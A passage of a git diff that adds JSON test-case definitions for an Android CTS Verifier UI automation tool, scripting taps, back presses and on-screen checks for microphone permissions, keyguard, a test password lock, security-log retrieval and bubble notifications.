app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Microphone permissions\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":137.0,\"y\":398.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":43.0,\"y\":11.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"bd0c3993-f065-40c3-9513-8bb1bf3b0ee5\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Microphone permissions\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":52.0,\"y1\":385.0,\"x2\":222.0,\"y2\":411.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"1e94de22-9abd-4dd4-95d9-b61a902e62ee\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told your administrator has granted Microphone access to CTS Verifier\",\"actionId\":\"e5480b1e-56de-4971-8508-231c81b7148b\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Microphone permissions\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a9dc2a97-c475-4f18-aa32-ddfb2a51a3d0\",\"displayText\":\"Microphone permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e656469a-ac7f-46f4-8b4f-5cfea9f30773\",\"displayText\":\"Microphone permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"edee4917-c053-4b7b-89b2-180467432a54\",\"displayText\":\"Microphone permissions\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Microphone permissions\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":217.75,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":10.375,\"y\":8.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Microphone permissions\"},{\"uuid\":\"15e5eedd-9537-4c74-af28-500c72966965\",\"displayText\":\"Minimum 1 app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":148.5,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Minimum 1 app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Microphone permissions\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":130.0,\"y\":393.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":50.0,\"y\":16.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"edee4917-c053-4b7b-89b2-180467432a54\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Microphone permissions\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":39.0,\"y1\":381.0,\"x2\":221.0,\"y2\":406.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Microphone permissions\",\"actionId\":\"1a2f07ff-bad8-4556-b8d6-48829a19f6c1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Microphone permissions\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"dd031db0-d627-4967-8884-6352e4390a98\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"bbd7fe1e-666f-49d5-bc8f-88cbd1efa8a8\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"4a87a566-fddb-412b-aabb-470220f9b335\",\"09ca85fc-93e9-48cb-a6a9-fd20f941d39e\",\"82177f1b-37f0-4bec-95c6-02f1c0871c28\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"1aab4771-080b-4813-a17a-01a4b9989dbb\",\"1e94de22-9abd-4dd4-95d9-b61a902e62ee\",\"034d5968-a791-4164-8b00-450ddadb3db1\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"e5480b1e-56de-4971-8508-231c81b7148b\",\"1a2f07ff-bad8-4556-b8d6-48829a19f6c1\",\"c06f1557-8c66-44c1-8dc2-dad782d2f597\",\"dd031db0-d627-4967-8884-6352e4390a98\",\"bbd7fe1e-666f-49d5-bc8f-88cbd1efa8a8\",\"82177f1b-37f0-4bec-95c6-02f1c0871c28\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-07-Microphone access permission","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.178000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e0c4500d-daea-44e2-b105-6efa0f087cb1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e0c4500d-daea-44e2-b105-6efa0f087cb1
new file mode 100644
index 0000000..5e48257
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e0c4500d-daea-44e2-b105-6efa0f087cb1
@@ -0,0 +1 @@
+{"uuid":"e0c4500d-daea-44e2-b105-6efa0f087cb1","details":"{\"type\":\"CompoundAction\",\"name\":\"11-Disable keyguard\",\"actionId\":\"e0c4500d-daea-44e2-b105-6efa0f087cb1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"c131f309-79ae-48c8-a354-4410a90e97e4\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"11-Disable keyguard","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.104000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e1d66f34-6024-4d89-b511-399897ba2464 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e1d66f34-6024-4d89-b511-399897ba2464
new file mode 100644
index 0000000..647546b
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e1d66f34-6024-4d89-b511-399897ba2464
@@ -0,0 +1 @@
+{"uuid":"e1d66f34-6024-4d89-b511-399897ba2464","details":"{\"type\":\"CompoundAction\",\"name\":\"Set Password lock to \\\"1234\\\"\",\"actionId\":\"e1d66f34-6024-4d89-b511-399897ba2464\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Password\",\"actionId\":\"bed0f330-f9b7-425e-b9c0-ed00b5f95b1e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Password\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"33a996a7-6fa4-4b66-b59c-61911261a7ca\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm button\",\"actionId\":\"3ce2c23e-bed9-46d6-a33c-094c15255f36\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"}],\"childrenIdList\":[\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"bed0f330-f9b7-425e-b9c0-ed00b5f95b1e\",\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"33a996a7-6fa4-4b66-b59c-61911261a7ca\",\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"3ce2c23e-bed9-46d6-a33c-094c15255f36\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Set Password lock to \"1234\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.038000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e242b517-2878-473b-bf43-ae1e7c299f21 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e242b517-2878-473b-bf43-ae1e7c299f21
new file mode 100644
index 0000000..bd31b3d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e242b517-2878-473b-bf43-ae1e7c299f21
@@ -0,0 +1 @@
+{"uuid":"e242b517-2878-473b-bf43-ae1e7c299f21","details":"{\"type\":\"CompoundAction\",\"name\":\"16-04-Retrieve security logs\",\"actionId\":\"e242b517-2878-473b-bf43-ae1e7c299f21\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Retrieve security logs\",\"actionId\":\"767fef70-741f-48c9-b1f2-4c76f475ae98\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Retrieve security logs\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a007c986-fe01-425b-90c9-f253674c6c65\",\"displayText\":\"Retrieve security logs\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Retrieve security logs\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":211.25,\"x2\":351.25,\"y2\":253.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":85.0,\"y\":230.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":95.0,\"y\":1.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"a007c986-fe01-425b-90c9-f253674c6c65\",\"firstText\":\"Retrieve security logs\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Retrieve security logs\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":14.0,\"y1\":219.0,\"x2\":156.0,\"y2\":242.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Retrieve security logs\",\"actionId\":\"1f93bcf6-5e85-4234-90cf-c6a6de95b6a3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Retrieve security logs\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Retrieve Security Logs\",\"actionId\":\"72bea6cf-8f40-4fd0-b25b-6e97f4c7be81\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Retrieve Security Logs\"},{\"type\":\"PythonScriptAction\",\"name\":\"Verify that you are told security logs were last retrieved at the time you pressed\",\"actionId\":\"da61f100-d343-4081-8bd3-482e947d1cbe\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\nfrom python_uiautomator.constant import MatchOption\\n\\nuicd_util = UICDPythonUtil()\\nd= Device.create_device_by_slot(0)\\n\\ntime = dict(d.resource_id(\\\"com.android.systemui:id/clock\\\").get_attributes())['text']\\n\\nresult = d.text(\\\"Most recent security log\\\").down().text(time, MatchOption.CONTAINS).verify_exist()\\nuicd_util.assert_true(result, \\\"Element not found\\\")\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"19b5a25b-903b-4e57-874a-274407e66fdb\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"767fef70-741f-48c9-b1f2-4c76f475ae98\",\"1f93bcf6-5e85-4234-90cf-c6a6de95b6a3\",\"72bea6cf-8f40-4fd0-b25b-6e97f4c7be81\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"da61f100-d343-4081-8bd3-482e947d1cbe\",\"19b5a25b-903b-4e57-874a-274407e66fdb\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-04-Retrieve security logs","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.172000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e26e0b7d-f764-43a4-972e-1879b9ce2b3a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e26e0b7d-f764-43a4-972e-1879b9ce2b3a
new file mode 100644
index 0000000..4b9d62c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e26e0b7d-f764-43a4-972e-1879b9ce2b3a
@@ -0,0 +1 @@
+{"uuid":"e26e0b7d-f764-43a4-972e-1879b9ce2b3a","details":"{\"type\":\"CompoundAction\",\"name\":\"Collapse Bubble\",\"actionId\":\"e26e0b7d-f764-43a4-972e-1879b9ce2b3a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Collapse Bubble\",\"actionId\":\"ce45663f-02cc-499f-b72d-63fa6a2515f6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.systemui:id/bubble_view\"}],\"childrenIdList\":[\"ce45663f-02cc-499f-b72d-63fa6a2515f6\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Collapse Bubble","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.227000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e272f61e-5e1a-434d-ab44-5ae9abf260fc b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e272f61e-5e1a-434d-ab44-5ae9abf260fc
new file mode 100644
index 0000000..9f560ecf
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e272f61e-5e1a-434d-ab44-5ae9abf260fc
@@ -0,0 +1 @@
+{"uuid":"e272f61e-5e1a-434d-ab44-5ae9abf260fc","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Permission of contacts\",\"actionId\":\"e272f61e-5e1a-434d-ab44-5ae9abf260fc\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Permissions\",\"actionId\":\"a4d7cb7c-0699-4796-9d29-8e2904265acc\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Permissions\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Contacts\",\"actionId\":\"93d84cd1-cf09-4a62-9898-2eda3fe51018\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Contacts\"}],\"childrenIdList\":[\"a4d7cb7c-0699-4796-9d29-8e2904265acc\",\"93d84cd1-cf09-4a62-9898-2eda3fe51018\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Permission of contacts","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.113000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e2afa6de-5d79-4e1f-ad1a-b6e88e31e5a3 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e2afa6de-5d79-4e1f-ad1a-b6e88e31e5a3
new file mode 100644
index 0000000..754c981
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e2afa6de-5d79-4e1f-ad1a-b6e88e31e5a3
@@ -0,0 +1 @@
+{"uuid":"e2afa6de-5d79-4e1f-ad1a-b6e88e31e5a3","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Bubble Notification Tests\",\"actionId\":\"e2afa6de-5d79-4e1f-ad1a-b6e88e31e5a3\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Bubble Notification Tests\",\"actionId\":\"685979e5-3870-49c1-bfc5-918edcc49ed6\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Bubble Notification Tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"2c0537fe-0145-4457-9e7a-f3c50873157d\",\"displayText\":\"Bubble Notification Tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Bubble Notification Tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":400.25,\"x2\":351.25,\"y2\":442.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":91.0,\"y\":419.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":89.0,\"y\":2.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"2c0537fe-0145-4457-9e7a-f3c50873157d\",\"firstText\":\"Bubble Notification Tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Bubble Notification Tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":10.0,\"y1\":410.0,\"x2\":172.0,\"y2\":428.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Bubble Notification Tests\",\"actionId\":\"f0983adb-dd69-49ba-87cc-b9743ad938cc\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Bubble Notification Tests\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Enable bubbles for CTS Verifier\",\"actionId\":\"afdd8c0f-6ff3-4506-bdd2-be552c021a9b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/bubble_test_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, All conversations can bubble\",\"actionId\":\"8153f38f-2ee0-4bef-a704-29e0201b9536\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/bubble_all_label\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"5382f206-1f12-407c-b56d-9e63b7e0224d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Step 1-Send a bubble with notification\",\"actionId\":\"19fadb00-593a-4fb4-84e4-c33410cd8d0c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/bubble_test_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Step 2- Update bubble to hide notification\",\"actionId\":\"dc311f71-daa8-41b1-9b8c-2c654c240fa1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/bubble_test_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Step 3- Update bubble to show notification\",\"actionId\":\"df9d8789-1767-4841-8a89-2e996ef3f294\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/bubble_test_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Step 4- Remove bubble\",\"actionId\":\"6fb3380d-5c04-4a02-b7f4-d7dd6cb3f4dc\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/bubble_test_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action,  Step 5-Add bubble\",\"actionId\":\"ca0f5702-f8ce-49f7-aa80-676f3afdcd85\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/bubble_test_button\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Step 6-Open Bubble\",\"actionId\":\"3cd70629-4895-4ae4-9d19-a2581af30c3c\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/bubble_view\"}]},\"clickAfterValidation\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Step 7- Update bubble to show notification\",\"actionId\":\"656b5f04-a88a-4f87-a10a-2230f02605d9\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/bubble_test_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Step 8- Send bubble notification\",\"actionId\":\"223c381e-028a-457f-ab96-bb2a631dd512\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/bubble_test_button\"},{\"type\":\"PythonScriptAction\",\"name\":\"PYSCRIPT-Dismiss 